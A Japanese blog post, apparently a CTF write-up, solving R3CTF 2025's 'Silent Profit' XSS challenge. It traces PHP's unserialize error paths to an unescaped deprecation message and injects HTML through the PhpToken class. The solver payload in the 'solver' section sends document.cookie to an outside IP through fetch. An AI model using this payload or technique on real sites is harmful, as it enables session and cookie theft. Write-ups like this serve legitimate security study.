2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

R3CTF 2025 「Silent Profit」 upsolve&writeup

Posted at

こんにちは新月です。
2025/07/05 11:00 ~ 2025/07/07 11:00(JST)に開催されたR3CTFにてsknbで出て73位でした。
自分はOSINT問を1問解いた以外は、ひたすらこの問題に沼っていました。
いつもなら解けるレベルの問題が解けず辛かったです。
余りにも悔しかったためupsolveしました。

問題

botと脆弱なサイトがあり、botのcookieにflagがある典型的なxss問題です。

bot.js
const express = require('express');
const puppeteer = require('puppeteer');

const app = express();
app.use(express.urlencoded({ extended: false }));


const flag = process.env['FLAG'] ?? 'flag{test_flag}';
const PORT = process.env?.BOT_PORT || 31337;

app.post('/report', async (req, res) => {
  const { url } = req.body;

  if (!url || !url.startsWith('http://challenge/')) {
    return res.status(400).send('Invalid URL');
  }

  try {
    console.log(`[+] Visiting: ${url}`);
    const browser = await puppeteer.launch({
      headless: 'new',
      args: [
        '--no-sandbox',
        '--disable-setuid-sandbox',
      ]
    });

    await browser.setCookie({ name: 'flag', value: flag, domain: 'challenge' });
    const page = await browser.newPage();
    await page.goto(url, { waitUntil: 'networkidle2', timeout: 5000 });
    await page.waitForNetworkIdle({timeout: 5000})
    await browser.close();
    res.send('URL visited by bot!');
  } catch (err) {
    console.error(`[!] Error visiting URL:`, err);
    res.status(500).send('Bot error visiting URL');
  }
});

app.get('/', (req, res) => {
  res.send(`
    <h2>XSS Bot</h2>
    <form method="POST" action="/report">
      <input type="text" name="url" value="http://challenge/?data=..." style="width: 500px;" />
      <button type="submit">Submit</button>
    </form>
  `);
});

app.listen(PORT, () => {
  console.log(`XSS bot running at port ${PORT}`);
});

puppeteerで指定されたurlにアクセスしますが、urlはhttp://challenge/から始まっている必要があるかつcookieのdomainがchallengeに設定されているためbot側の脆弱性はなさそう。

次に衝撃のサイト側のコードです。

index.php
<?php 
show_source(__FILE__);
unserialize($_GET['data']);

短い、あまりにも短い。
show_source(__FILE__);でこのファイルの中身を表示し、unserialize($_GET['data']);で?data=以降の値をデシリアライズしています。
自明な安全でないデシリアライゼーションの脆弱性がありますね。
これにより任意のオブジェクトを作成することができます。(最近のバージョンだと一部の組み込みオブジェクトは作成不可になっていますが)
普通のコードであればこの脆弱性によりRCEなどにつながることもあります。
以下のSatoooonさんとmotikan2010さんの記事がとても分かりやすいです。
Insecure Deserialization
Laravelで学ぶ「安全でないデシリアライゼーション」
上記した記事で紹介されている事例はいずれも使いやすいガジェットがあることで攻撃が成立しています。
しかし今回の問題の場合はユーザ定義のクラスも無ければ、unserialize後に何の処理も行われていません。
つまりガジェットがほぼ無いです。
自分はここのガジェット探しで一生沼っていました。

解く

ガジェットが無いので__wakeup()のようなマジックメソッド経由での攻撃は考えづらいです。
今回の目標はxssなので<img src=x onerror=alert(1)>のような文字列を表示させてjavascriptとしてbotに解釈させてあげたい訳です。
しかしながらechoのような文字列を出力してくれる関数は全くないので、そもそも任意の文字列を出力することが難しいです。
適当にぽちぽちしていると、以下のようにunserializeでエラーを吐くことがあります。スクリーンショット (1341).png
これを使って任意の文字列を出力することはできないでしょうか。
「php unserialize error message」などで検索をしてみると、以下のページが見つかります。
PHP RFC: Improve unserialize() error handling
unseralizeのエラー出力が色々と載っていますが、その中でも以下の二つが気になります。

unserialize('E:3:"foo";'); // Warning: unserialize(): Invalid enum name 'foo' (missing colon) in php-src/test.php on line 5
                           // Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 5
unserialize('E:3:"fo:";'); // Warning: unserialize(): Class 'fo' not found in php-src/test.php on line 7
                           // Notice: unserialize(): Error at offset 0 of 10 bytes in php-src/test.php on line 7

どちらも入力された列挙型の名前を出力してくれていますね。
ここのfooの部分をペイロードに差し替えてあげればxssができるのではないでしょうか。
スクリーンショット (1342).png
スクリーンショット (1343).png
どちらも動かないですね。2個目に至ってはそもそもペイロードが出力されてすらいません。(恐らくphpのクラスの命名規則に<>などの記号が反しているからだと思われます)

とりあえず1個目のペイロードがなぜ動かないのか調べてみましょう。
phpのバージョンは8.4.10です。
phpのソースコードから「 Invalid enum name」などで調べるとext/standard/var_unserializer.reに以下のような記述があります。

ext/standard/var_unserializer.re
php_error_docref(NULL, E_WARNING, "Invalid enum name '%.*s' (missing colon)", (int) len, str);

ここではphp_error_docerf()という関数でエラーを出力しています。

main/main.c
PHPAPI ZEND_COLD void php_error_docref(const char *docref, int type, const char *format, ...)
{
	php_error_docref_impl(docref, type, format);
}
main/main.c
#define php_error_docref_impl(docref, type, format) do {\
		va_list args; \
		va_start(args, format); \
		php_verror(docref, "", type, format, args); \
		va_end(args); \
	} while (0)

最終的にはphp_verror()でエラー出力されているようです。
コードを読んでいくとphp_verror()には以下のような実装があります。

main/main.c
replace_origin = escape_html(origin, origin_len);

escape_html()によって出力される文字列がエスケープされるため先ほどのペイロードは動かなかったようです。
すなわちphp_error_docref()によって出力されるエラーでのxssは難しいということです。
では、他の関数ではどうでしょうか?
「php_error_docref」などで検索すると以下の記事が見つかります。
php_error / エラー出力関数たち
この記事によるとphpのエラー出力関数は

  • php_error
  • php_error_docref
  • php_error_docref1
  • php_error_docref2
  • zend_error
  • php_verror

の6つのようです。
php_error_docref[012]*はいずれもphp_verror()を呼び出すため、狙う関数はzend_error()php_error()となります。
ext/standard/var_unserializer.rezend_error()が用いられている箇所を探していくと、以下のような実装があります。

ext/standard/var_unserializer.re
zend_error(E_DEPRECATED, "Creation of dynamic property %s::$%s is deprecated",
							ZSTR_VAL(obj->ce->name), zend_get_unmangled_property_name(Z_STR_P(&key)));

このエラーを出せればxssができるかもしれない。
「Creation of dynamic property %s::$%s is deprecated」などで検索すると以下のページが見つかります。
PHP 8.2: Dynamic Properties are deprecated
【PHP8.2】動的プロパティが禁止される
どうやら既存のクラスに対して新しくプロパティを設定した際に出るエラーのようです。
試しにfooというクラスを作ってみます。

index.php
<?php 
show_source(__FILE__);
class foo{
    
}
unserialize($_GET['data']);

ここでbarというプロパティを追加することでCreation of dynamic property foo::$bar is deprecatedというエラーが出力されることが期待されます。

O:3:"foo":1:{s:3:"bar";}のようにシリアライズ済みの文字列を?data=に入れてあげると......スクリーンショット (1344).png
予想通りの出力になりました。
後はfooをもとのコードで宣言されているクラスにしてあげれば、正常にペイロードが動いてくれるはずです。

index.php
<?php 
show_source(__FILE__);
var_dump(get_declared_classes());
unserialize($_GET['data']);

get_declared_classes()で宣言済みのクラスを取得し、デシリアライズが許可されていそうなクラスを適当に選びます。
今回はPhpTokenを使います。
後は先ほどのペイロードのfooPhpTokenに、bar<img src=x onerror=alert(1)>などにしてあげればよいです。
最終的に以下のようなペイロードが完成します。

O:8:"PhpToken":1:{s:28:"<img src=x onerror=alert(1)>";}

これを使うと......

XSS!!!

スクリーンショット (1345).png

solver

http://challenge/?data=O:8:"PhpToken":1:{s:71:"<img src= x onerror=fetch(`//192.168.80.128/?flag=${document.cookie}`)>";}
これをbotに入力して、Submitします。
スクリーンショット (1346).png

少し待つと......

スクリーンショット (1347).png
flagが取れました!
ipアドレスなどはよしなに書き換えてください。サイズの変更を忘れずに。

あとがき

ソースコードが短い問題は往々にしてとても面白いテクニックがあって好きですが、この問題も例に漏れずとても面白かったです。その分苦しめられましたが。
次は本番中に解けるよう精進していきたいです。
 

2
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
2
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?